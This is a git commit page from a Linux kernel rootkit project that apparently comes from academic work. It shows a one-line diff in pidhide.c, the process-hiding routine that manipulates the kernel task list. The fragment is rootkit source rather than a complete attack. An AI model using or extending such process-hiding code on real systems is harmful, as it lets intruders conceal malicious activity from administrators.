linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 943470b7881452b2166ecc53f8f7b1d857929ec0
parent ddc53712a566f45cfc6241e3ee8944242822157b
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 03:15:19 +0100

fixes issue

Diffstat:
Mrootkit/src/pidhide.c | 2+-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -84,7 +84,7 @@ hide_pid(pid_t pid) rcu_read_unlock(); write_lock_irq(rwlock); - list_for_each_safe(pos, q, &mylist.tasks){ + list_for_each_safe(pos, q, &ts.tasks){ tmp= list_entry(pos, struct task_struct, tasks); if (((struct task_struct *)pos) == ((struct task_struct *)ts)) { /* list_del(pos); */